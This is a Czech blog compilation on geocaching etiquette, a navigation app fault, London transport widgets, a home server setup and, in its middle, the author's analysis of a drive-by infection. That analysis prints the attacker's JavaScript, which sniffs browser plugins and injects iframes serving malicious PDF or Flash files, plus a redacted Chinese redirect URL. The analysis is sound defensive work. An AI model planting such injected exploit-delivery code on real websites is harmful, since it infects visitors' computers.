Co je špatně a jak to zlepšit?

Špatně je, když kačer zapisuje do logu trekovací číslo travel bugu nebo geocoinu. Záznam typu: IN: PC1234 OUT: A38GXF je šílenost. Proč? Protože zveřejňovat trekovací číslo znamená dát ho k dispozici všem, kteří toho pak mohou zneužít a mohou si coin nebo TB lognout, aniž by jej viděli, nebo ještě hůř – od někud jej fiktivně odnést a udělat v tom majiteli slušný hokej. Tohle prostě, prosím, ne.

Co dalšího mě může vytočit?

Když majitel keše nerespektuje obvyklé zvyklosti. To, že se keš nenachází v dobrém stavu se majitel dozví z logů, které by měl číst. Implicitně mu chodí všechny a nedá se jejich odběr zrušit. Když tedy dochází (nebo došel) logbook, měl by majitel zajistit výměnu. Pár záznamů navíc se dá vydržet, ale nosit si vlastní papírky je u obvyklých keší nedůstojné.

Velikost keší

Když je velikost mikro, očekávám přibližně krabičku od filmu. Když je to small, čekám něco trochu většího. Kolem objemu 1 litru už je to regulárka. Keš, která je velikosti menší, než 1×1x1 cm by neměla být označena jako mikro! Taková keška má být velikosti Other.

Nesmyslné podmínky

Dávat k tradiční keši podmínky nedává smysl. Pokud chce autor limitovat možnosti logování keše, má založit typ Unknown nebo také tzv. Mystery. TB Hotel je „typ“ cache, který umožňuje volnou výměnu TB/GC a to bez ohledu na množství. Cílem kačerů by mělo být TB a coinům pomoci k pohybu. Nezáleží na tom, jestli přinesu víc nebo méně, než odnesu. Zároveň vkládáním TB nebo GC nezvyšuji cenu keše, takže je nemohu vyměňovat za jiné netrackovatelné věci!

Nesmyslné jsou někdy i podmínky u cestování travel bugů a geocoinů. Majitel by měl přemýšlet, než podmínky, které nelze splnit, do popisu trackovatelného předmětu napíše.

Tak to je pro dnešek asi vše, co mě ke geocachingu napadlo. Snad se to zlepší. Doufejme.

Včera jsem chytil svatební podvazek, takže jedna pozitivní věc na začátek. Svatba bude.

Dnes ráno mi iGO 8 začalo hlásit své dvě oblíbené hlášky: Naposledy se nepodařilo nastartovat. Chcete smazat uživatelská data? – Ať odpovíte jakkoliv, pokračuje druhá hláška. – Databáze nenalezena, vložte originální SD kartu. Jak to řešit? Zkoušel jsem už leccos, ale stále netuším. Asi reklamací.

Jedna věc, která se ještě podařila včera – také na jaře – byl profil na geocachingu.

Na hlavní stránce Londýnské dopravy (Transport for London) je aktuální situace linek metra přehledně zobrazena. Co je ještě zajímavější z technického hlediska je, že Londýnský dopravní podnik umožňuje export těchto dat prostřednictvím widgetů. Můžete si tak na svoje stránky nebo do svého profilu na iGoogle přidat následující zobrazení:

Další možnost je zobrazit si mapku linek:

Než přišel lékař

Otevřel jsem si stránky o agroturistice, ve Firefoxu. Stránky mě přesměrovaly na jinou adresu, ale zobrazily se informace o agrofarmě. Vše se zdálo být v pořádku, až na jedinou věc. Zobrazilo se okno s chybou, kterou způsobil přehrávač Flashe. Nebylo to normální, ale teoreticky to ještě nemuselo nic zanamenat.

Bohužel znamenalo. Po nějaké době začal NOD32 hlásit přítomný spyware. Jeho umístění bylo ve Windows\System32 a název knihovny dll se jmenoval při každém hlášení jinak. Vždy ale připomínal název nějakého běžného ovladače. NOD soubor vždy smazal a za několik minut se objevila další varianta.

V té době již chodily zprávy našemu administrátorovi, který spustil na mém stroji kompletní test.

Já jsem jej spustil také, dokonce o něco dříve, takže nakonec sken proběhl dvakrát.

Černý pátek – prostě krize

V pátek jsem byl bez pracovní stanice a musel jsem se spokojit s notebookem. Využil jsem toho k nahlášení zdroje virové nákazy odboru bezpečnosti, který se postaral o komunikaci se správcem domény. Během krátké chvíle zdroj viru z nakažených stránek zmizel.

Kolega z odboru IKT mi mezitím odviroval počítač s bezpečným obnovením týdenní zálohy. Stal jsem se slavným, protože podobný zásah řešil již více než před dvěma měsíci.

A moje výzkumy viru?

S pomocí Ubuntu a Firefoxu s vypnutými skripty jsem odchytil techniku nakažení a nakonec i samotné jeho kódy.

Virus se do stránky připsal až za konec značky </html> v podobě <iframe>.

Statistiky návštěvnosti jsou důležité i pro viry

Zdroj iframe vedl do Číny. Na přesměrovací server, který navíc ještě měřil „návštěvnost“ podle konkrétního zdroje.

http://------.cn/in.cgi?income28

Pak server přesměruje návštěvníka na server, který mu poskytne vhodný „obsah“. Poskytnutí obsahu závisí na možnostech klienta. Kód je optimalizován na chybu Flashe i Acrobatu, což je docela nepříjemné.

JavaScript rozhodne

Musíme si ověřit, jestli má klient funkční Acrobat Reader. Pokud ano, podstrčíme mu PDF. Pokud ne, proč to nezkusit s Flashem? Máme i verzi SWF.

A zde už přichází slavný kód. Není jednoduchý?

<script>
function pdfswf()
{
	try
	{
		for(i = 0; i <= navigator.plugins.length; i++)
		{
			name = navigator.plugins[i].name;
			if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
			{
				document.write('<iframe src="cache/readme.pdf"></iframe>');
			}
			if(name.indexOf("Flash") != -1)
			{
				document.write('<iframe src="cache/flash.swf"></iframe>');
			}
		}
	}
	catch(e){}
}
pdfswf();
</script>

A co dodat na závěr?

Myslete na uživatele a nabídněte jim alternativu obsahu. Dokáží to i čínské viry.

Provedené změny:

• na stolním počítači byl spuštěn WAMP
• router prošel rekonfigurací (nejprve DMZ, pak přesměrování portů)
• pro dostupnost stránek z lokální sítě spuštěn DNS server
• router překonfigurován na použití místního kešovacího DNS serveru

Výsledkem celého snažení byla úprava sítě tak, že funguje domácí web server a je možné synchronizovat soubory pomocí SVN.

Z lokální sítě fungují všechny požadované služby a dokonce došlo k urychlení zpracování dotazů díky cachování DNS záznamů.